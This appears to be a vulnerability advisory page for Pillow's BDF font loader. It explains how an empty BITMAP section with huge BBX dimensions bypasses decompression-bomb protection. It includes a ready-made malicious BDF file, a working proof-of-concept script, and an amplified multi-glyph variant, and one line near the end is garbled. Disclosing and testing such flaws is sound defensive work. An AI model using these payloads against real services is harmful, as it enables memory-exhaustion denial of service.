PyPI · pillow
Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading
PIL/BdfFontFile.py bdf_char() (lines 84–88) reads the BBX width height field from a BDF font file and passes the dimensions directly to Image.new() without calling Image._decompression_bomb_check(). This completely bypasses Pillow's documented decompression bomb protection.
Image.open() enforces MAX_IMAGE_PIXELS = 89,478,485 and raises DecompressionBombError for images exceeding 2 × MAX = 178,956,970 pixels. The BDF font loading path calls Image.new() directly, which only calls _check_size() (validates >= 0) — no pixel count limit.
Vulnerable code (PIL/BdfFontFile.py lines 84–88):
# width, height from attacker-controlled "BBX width height x y" line
try:
im = Image.frombytes("1", (width, height), bitmap, "hex", "1")
except ValueError:
# TRIGGERED when BITMAP section is empty (zero hex lines)
im = Image.new("1", (width, height)) # ← NO _decompression_bomb_check()!
# ^ This image is stored in self.glyph[ch] — persists in memory
Attack trigger: A BDF glyph with BBX 20000 20000 and an empty BITMAP section causes Image.frombytes() to raise ValueError, then Image.new("1", (20000, 20000)) allocates 50 MB of C-heap silently. Image.open() would raise DecompressionBombError for the same dimensions.
Minimal malicious BDF file (270 bytes):
STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT placeholder
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 20000 20000 0 0
BITMAP
ENDCHAR
ENDFONT
Proof of Concept script:
#!/usr/bin/env python3
"""PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation"""
import io, warnings
warnings.filterwarnings("ignore")
from PIL.BdfFontFile import BdfFontFile
from PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError
W, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold
# Show what Image.open() would do
warnings.filterwarnings("error", category=DecompressionBombWarning)
try:
_decompression_bomb_check((W, H))
except (DecompressionBombWarning, DecompressionBombError) as e:
print(f"[Image.open() path] BLOCKED by {type(e).__name__}")
warnings.filterwarnings("ignore")
# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check
bdf = f"""STARTFONT 2.1
SIZE 16 75 75
FONTBOUNDINGBOX 16 16 0 -4
STARTPROPERTIES 1
COMMENT x
ENDPROPERTIES
CHARS 1
STARTCHAR A
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX {W} {H} 0 0
BITMAP
ENDCHAR
ENDFONT
""".encode()
print(f"[*] BDF file size : {len(bdf)} bytes")
print(f"[*] Glyph size : {W} x {H} = {W*H:,} pixels")
print(f"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)")
BdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!
print(f"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated")
print(f" Image.open() path would have raised DecompressionBombError")
Expected output:
[Image.open() path] BLOCKED by DecompressionBombError
[*] BDF file size : 270 bytes
[*] Glyph size : 20000 x 20000 = 400,000,000 pixels
[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel)
[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated
Image.open() path would have raised DecompressionBombError
Amplified attack (multiple glyphs):
A BDF file defining 256 glyphs each at BBX 8000 8000 causes 256 × 7.6 MB = ~1.95 GB total C-heap allocation — all silently, bypassing documented bomb protection.
ImageFont.load("user.bdf"), BdfFontFile(fp)) is affectedself.glyph[ch] for the lifetime of the font object — memory is NOT freed until the font is garbage collectedIs your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.